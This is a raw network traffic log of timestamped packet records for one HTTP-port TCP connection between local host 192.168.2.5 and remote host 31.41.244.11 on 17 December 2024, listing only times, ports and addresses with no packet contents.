Dec 17, 2024 08:03:41.671905994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.672163010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.672288895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.672338963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.673249960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.673304081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.673381090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.673430920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.674352884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.674407959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.674469948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.674521923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.675426960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.675479889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.675550938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.675600052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.676502943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.676556110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.676636934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.676687002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.677578926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.677629948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.677675009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.677721977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.678651094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.678703070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.678745985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.678792953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.679758072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.679825068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.679866076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.679912090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.680813074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.680865049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.680906057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.680994034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.681962013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.682012081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.682074070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.682131052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.682976007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.683024883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.683093071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.683140993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.684094906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.684144974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.684241056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.684542894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.685162067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.685210943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.685277939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.685324907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.686229944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.686332941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.686431885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.687299967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.687352896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.687423944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.687485933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.688395977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.688446999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.688502073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.688566923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.689500093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.689590931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.689615011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.689636946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.690570116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.690622091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.690673113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.690712929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.691637993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.691684008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.691729069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.691775084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.692713022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.692764997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.692809105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.692848921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.693820000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.693872929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.693918943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.693965912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.694921017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.694982052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.695019960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.695099115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.695977926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.696043015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.696079969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.696125984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.697069883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.697144032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.697181940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.697228909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.698138952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.698189020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.698323011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.698369980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.699201107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.699348927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.699367046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.699409962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.700305939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.700351954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.700417995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.700464010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.701392889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.701448917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.701488018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.701535940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.702450037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.702500105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.702558994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.702644110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.703562021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.703617096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.703680992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.703730106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.704691887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.704754114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.704777002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.705581903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.705724001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.705851078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.705910921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.706788063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.706907988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.707036018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.707874060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.707923889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.707946062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.707993031 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.708977938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.709079027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.709629059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.710038900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.710140944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.710174084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.710222960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.711116076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.711169958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.711246967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.711704016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.712203026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.712253094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.712297916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.712342978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.713284969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.713346958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.713413954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.713469028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.714370966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.714422941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.714483976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.714531898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.715446949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.715562105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.716519117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.716573000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.716650963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.717613935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.717672110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.717727900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.718605995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.718679905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.718728065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.718794107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.718841076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.719805956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.719871044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.719930887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.719978094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.720890999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.721013069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.721323013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.721937895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.721992016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.722031116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.722078085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.723222017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.723367929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.723669052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.724436998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.724570036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.724584103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.724630117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.725821972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.725874901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.725991964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.726039886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.727566957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.727617979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.727751017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.727802992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.729113102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.729212046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.729250908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.729381084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.730366945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.732582092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.863832951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.863974094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.864216089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.864310980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.864434958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.864550114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.864599943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.865549088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.865653992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.865710020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.866693974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.866766930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.867711067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.867772102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.867814064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.868803024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.868849039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.868915081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.869893074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.869945049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.870021105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.870950937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.871001959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.871042013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.872054100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.872133017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.872159958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.872570038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.873146057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.873298883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.873347998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.874222040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.874353886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.874423981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.875327110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.875416994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.876396894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.876450062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.876542091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.877505064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.877551079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.877641916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.878534079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.878596067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.878622055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.879620075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.879672050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.879715919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.880567074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.880702972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.880824089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.880871058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.881784916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.881900072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.881951094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.882833958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.882951021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.882997036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.883941889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.884083986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.885052919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.885080099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.885102034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.886147022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.886202097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.886231899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.886594057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.887183905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.887253046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.887300014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.888284922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.888331890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.888334990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.889002085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.889364004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.889410973 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.889451981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.889543056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.890424967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.890481949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.890543938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.890597105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.891513109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.891566038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.891606092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.892560005 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.892589092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.892678976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.892723083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.893688917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.893805981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.893846989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.894743919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.894874096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.894923925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.895844936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.895986080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.896955013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.897001982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.897080898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.898025990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.898076057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.898153067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.898597956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.899094105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.899210930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.899261951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.900175095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.900212049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.900264025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.901271105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.901467085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.901534081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.902349949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.902452946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.902509928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.903441906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.903546095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.903606892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.904499054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.904587030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.904655933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.905599117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.905656099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.905716896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.906342983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.906661034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.906729937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.906785965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.906876087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.907774925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.907826900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.907846928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.907943010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.908843040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.908901930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.908945084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.908999920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.909913063 CET	80	49900	31.41.244.11	192.168.2.5
